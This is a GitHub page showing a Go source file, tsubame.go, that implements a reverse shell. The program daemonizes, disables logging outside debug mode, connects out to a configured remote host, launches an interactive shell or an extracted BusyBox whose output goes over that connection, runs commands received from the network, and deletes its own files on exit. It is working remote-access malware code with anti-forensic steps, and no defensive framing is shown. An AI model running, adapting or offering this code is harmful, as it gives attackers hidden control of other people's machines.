-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtsubame.go
69 lines (54 loc) · 1.23 KB
/
tsubame.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
config := readConfig()
registerExitHandler(func() {
_ = os.RemoveAll(config.Path)
})
startReverseShell(config)
}
func startReverseShell(config Config) {
daemonize()
if !config.Debug {
disableLogging()
}
conn, err := dial(config)
check(err)
stdin := startShell(config, conn)
reader := newNetLineReader(conn, config.Timeout)
// Feed input from network until timeout value exceeds or EOF is met.
// Either way the process will panic and terminate, causing the shell
// to exit.
for {
line, err := reader.Readline()
check(err)
_, err = stdin.Write(line)
check(err)
}
}
// startShell starts a shell, and returns a pipe to the stdin
// of that shell
func startShell(config Config, conn net.Conn) io.WriteCloser {
var shellpath string
if config.ExtractApplets {
shellpath = extractBusyBox(config.Path)
} else {
shellpath = loadShell(config.Path)
}
shell := exec.Command(shellpath, "-i")
shell.Stdout = conn
shell.Stderr = conn
pathEnv := os.Getenv("PATH")
pathEnv = fmt.Sprintf("PATH=%s:%s", config.Path, pathEnv)
shell.Env = append(os.Environ(), pathEnv)
stdin, err := shell.StdinPipe()
check(err)
check(shell.Start())
return stdin
}